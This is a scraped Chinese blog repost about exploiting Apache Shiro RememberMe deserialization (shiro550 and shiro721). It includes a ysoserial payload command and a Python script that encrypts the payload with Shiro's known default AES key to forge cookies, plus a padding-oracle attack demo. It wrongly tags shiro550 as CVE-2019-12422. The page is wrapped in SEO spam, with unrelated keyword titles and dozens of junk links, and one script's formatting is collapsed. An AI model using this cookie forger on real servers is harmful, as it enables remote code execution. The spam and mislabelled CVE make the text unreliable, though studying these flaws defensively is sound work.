当前位置: 首页 > wzjs >正文

自己建网站的优势百度优化公司

自己建网站的优势,百度优化公司,wordpress安装好后怎么使用,wordpress企业宣传电商一、关于shiro介绍 简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。 二、漏洞分析 1.CVE-2019-12422-shiro550 漏洞原理…

一、关于shiro介绍
简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。

二、漏洞分析

1.CVE-2019-12422-shiro550
漏洞原理:shiro会对Remember Me功能带的cookie字段进行解密并进行反序列化,解密过程为base64解码------AES-CBC解密------反序列化,所以我们只需要逆向构造数据包就能触发漏洞,Apache Shiro ≤1.2.4版本的AES密钥是硬编码,尝试爆破常见的key就能触发。
在这里插入图片描述
目前市场上利用工具很多,手工构造也可以
使用工具生成反序列化文件,AES加密后结果base64密码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “calc” > 2.txt
在这里插入图片描述

from _ast import Lambda
from Crypto.Cipher import AES 
import uuid,base64
key = "kPH+bIxk5D2deZiIxcaaaA=="
file=open("2.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file2 = pad(file.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file2))
result = str(base64_ciphertext, encoding='utf-8')
f4 = open("3.txt","w")
f4.write(result)

2.CVE-2019-12422-shiro721
漏洞原理:影响1.2.5至1.4.1版本,包括1.3.x和1.4.0系列,在shiro550基础上加入随机key,改变硬编码不能直接爆破key,但AES-128-CBC模式易受填充提示攻击(Padding Oracle Attack),攻击者需通过有效RememberMe Cookie作为前缀逐步爆破密钥,从而触发漏洞。利用难度较高,需要登录后拿到cookie,漏洞主要利用了AES-CBC加密模式的安全缺陷进行了密钥破解。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64# 模拟存在Padding Oracle漏洞的服务器
def padding_oracle(encrypted_data):key = get_random_bytes(16)iv = encrypted_data[:16]ciphertext = encrypted_data[16:]try:cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)return True  # 填充正确时返回Trueexcept (ValueError, KeyError):return False  # 填充错误或其他错误# 生成测试数据
key = get_random_bytes(16)
iv = get_random_bytes(16)
plaintext = b"Secret Message!!"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
encrypted_data = iv + ciphertext# Padding Oracle攻击实现
recovered_plaintext = b""
num_blocks = len(ciphertext) // 16# 从最后一个块开始攻击
for block_idx in range(num_blocks - 1, -1, -1):intermediate = bytearray(16)for byte_pos in range(15, -1, -1):# 构造测试块test_block = bytearray(ciphertext[block_idx*16 : (block_idx+1)*16])# 计算当前需要的填充值padding_value = (16 - byte_pos) % 16if padding_value == 0:padding_value = 16# 暴力破解当前字节found = Falsefor guess in range(256):# 构造中间值for prev_byte in range(byte_pos + 1):test_block[prev_byte] = ciphertext[block_idx*16 + prev_byte] ^ intermediate[prev_byte]# 设置当前猜测字节test_block[byte_pos] = guess ^ padding_value# 构造完整的加密数据modified_data = iv + bytes(test_block) + ciphertext[(block_idx+1)*16:]if padding_oracle(modified_data):intermediate[byte_pos] = guess ^ ciphertext[block_idx*16 + byte_pos] ^ padding_valuerecovered_plaintext = bytes([guess ^ intermediate[byte_pos]]) + recovered_plaintextfound = Truebreakif not found:raise ValueError("攻击失败")print(f"原始明文: {plaintext}")
print(f"恢复的明文: {recovered_plaintext}")

文章转载自:

http://ifDfopjn.ymprn.cn
http://NhTY6auG.ymprn.cn
http://NAchAQYn.ymprn.cn
http://yCagOarI.ymprn.cn
http://jISovwh6.ymprn.cn
http://pWEH5fVx.ymprn.cn
http://zrElElCC.ymprn.cn
http://l1DHlWVE.ymprn.cn
http://fRyuBuiD.ymprn.cn
http://nHc4mCGc.ymprn.cn
http://S3DJP5n0.ymprn.cn
http://JHx1BQ0d.ymprn.cn
http://AmJOsM9s.ymprn.cn
http://EwZHxK8B.ymprn.cn
http://KEiHtrT6.ymprn.cn
http://m76Kkq5z.ymprn.cn
http://rScK9lrW.ymprn.cn
http://WVRiptse.ymprn.cn
http://3gsWuDoB.ymprn.cn
http://vWv2xnL8.ymprn.cn
http://v6yQ0AES.ymprn.cn
http://pX0IZzPP.ymprn.cn
http://saVuZxPv.ymprn.cn
http://LEkvPs16.ymprn.cn
http://XIWkQCh2.ymprn.cn
http://vyl8xH4A.ymprn.cn
http://M3KMtWrI.ymprn.cn
http://nrUZqSfP.ymprn.cn
http://i0uuhrfZ.ymprn.cn
http://FEMKyHT4.ymprn.cn
http://www.dtcms.com/wzjs/759215.html

相关文章:

  • 好站站网站建设推广wordpress 添加用户
  • 做网站编写网页设计与制作岗位职责
  • 卓越 网站开发企业app公司
  • 打开部分网站很慢建设银行网站诚聘英才
  • 邢台seo网站制作做网站编辑需要会什么
  • 苏州网站建设制作开发公司免费国外永久域名注册
  • 将wordpress 搭建成一个公众网页品牌企业seo咨询
  • 哪个网站可以学做衣服手机建网站
  • 手机网站无法访问的解决方法做网站需要的注意事项
  • 提供信息门户网站建设网站建站流程有哪些
  • 请别人做网站需要注意什么archlinux wordpress
  • 为什么做网站要有自己的服务器外包软件
  • 广告设计排行榜网站怎么seo关键词排名优化推广
  • 苏州做网站0512jinyan江苏分销网站建设
  • 分析公司网站的开发策略wordpress主题proland
  • wordpress积分充值插件优化方案物理必修三电子版
  • 万网关网站三次怎么用php源代码做网站
  • 手机网站建设多少钱一个万网网站多少
  • 做网页赚钱的网站韩雪冬网站
  • 做网站应该注意什么行业网站盈利模式
  • 外贸通道支持asp的网站吗合山网站建设
  • 小语种网站外贸网站注册
  • 嘉鱼网站建设wordpress搜索结果优先标签
  • 东莞建站建设摩托车官网商城2015
  • 厦门网站营销网网站建设与设计
  • 网站建设哪家比较专业国外开源网站系统
  • 推广网站是什么意思十大建筑设计公司
  • 广州服装设计公司seo简介
  • 网站优化软件破解版福建公司网站开发
  • 宁波网络营销网站建设网站模板文章资讯